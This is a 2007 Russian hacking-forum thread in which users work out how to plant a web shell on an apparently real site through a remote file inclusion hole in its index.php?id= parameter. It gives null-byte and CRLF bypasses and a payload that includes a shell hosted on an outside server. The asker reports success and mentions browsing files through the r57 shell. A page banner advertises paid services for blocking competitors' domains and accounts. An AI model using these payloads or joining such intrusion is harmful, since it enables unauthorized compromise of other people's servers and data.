Простой баг

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Простой баг

Опции темы

Поиск в этой теме

Опции просмотра

Простой баг

13.07.2007, 06:53

George767

Участник форума

Регистрация: 10.01.2006

Сообщений: 193

С нами: 10701583

Репутация: 81

Простой баг

Есть бажный похоже самодельный форум, пропускает и парсит хтмл в ссылках вида index.php?id=
Есть идеи как туда можно шел залить?

PS Подставляет .html после введеного, так что на внешнюю завести нельзя

Спасибо

𝕏 Twitter Reddit Telegram Копировать ссылку

13.07.2007, 07:02

iv.

Познавший АНТИЧАТ

Регистрация: 21.03.2007

Сообщений: 1,200

С нами: 10074686

Репутация: 1204

Цитата:

Подставляет .html после введеного, так что на внешнюю завести нельзя

%00 не помогает? Или же %0d%0a?

13.07.2007, 08:08

George767

Участник форума

Регистрация: 10.01.2006

Сообщений: 193

С нами: 10701583

Репутация: 81

Помогает - ставит пробел, но что с этим можно сделать?
Вот что выдает
Warning: main( .htm): failed to open stream: No such file or directory in /hsphere/local/home/asvideor/XXX/index.php on line 241 Warning: main( .htm): failed to open stream: No such file or directory in /hsphere/local/home/asvideor/XXX/index.php on line 241 Warning: main(): Failed opening ' .htm' for inclusion (include_path='.:/hsphere/shared/apache/libexec/php4ext/php/') in /hsphere/local/home/asvideor/va-utair.ru/index.php on line 241

13.07.2007, 09:11

The_HuliGun

Участник форума

Регистрация: 19.05.2007

Сообщений: 228

С нами: 9989667

Репутация: 240

Цитата:

Подставляет .html после введеного, так что на внешнюю завести нельзя

Почему нельзя? Залей на народ shell.html и подставляй тогда

Код:

index.php?id=http://www.site.narod.ru/shell

13.07.2007, 10:20

George767

Участник форума

Регистрация: 10.01.2006

Сообщений: 193

С нами: 10701583

Репутация: 81

Цитата:

Сообщение от The_HuliGun

Почему нельзя? Залей на народ shell.html и подставляй тогда

Код:

index.php?id=http://www.site.narod.ru/shell

Получилось открыть внешний файл через такую конструкцию:

index.php?id=внешняя_ссылка/%0d%0a

Но файл-же не заливается на их фтп, я вижу через r57 содержимое моего сервака...

Последний раз редактировалось George767; 13.07.2007 в 10:24..

13.07.2007, 13:13

n-000

Участник форума

Регистрация: 25.10.2006

Сообщений: 108

С нами: 10286027

Репутация: 91

а как насчёт ссылочки на форум ?
Если не хочеш выкладывать ссылу в паблик пришли в приват, как у мя будет время покапаюсь...

Последний раз редактировалось n-000; 13.07.2007 в 13:19..

13.07.2007, 13:18

Rebz

Флудер

Регистрация: 08.11.2004

Сообщений: 3,395

С нами: 11317286

Репутация: 3876

шелл должен быть залит там, где нет поддержки php, например на народ.ру

13.07.2007, 13:22

n-000

Участник форума

Регистрация: 25.10.2006

Сообщений: 108

С нами: 10286027

Репутация: 91

Цитата:

Сообщение от Rebz

шелл должен быть залит там, где нет поддержки php, например на народ.ру

Да не фсегда, можно и в *.txt формате шелл на сервере хранить, но это только если этот txt будет запускаца инклудом

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Самый простой взлом.	Azazel	Болталка	30	14.07.2007 01:09
Старый баг с апгрейд скриптом в булке (сканер)	gemaglabin	Уязвимости CMS / форумов	7	01.09.2006 21:11
Самый ЛоЛьский Баг (XSS in Art-Soft Гостевая книга v 2.0.1)	_kREveDKo_	Уязвимости CMS / форумов	4	15.08.2006 17:04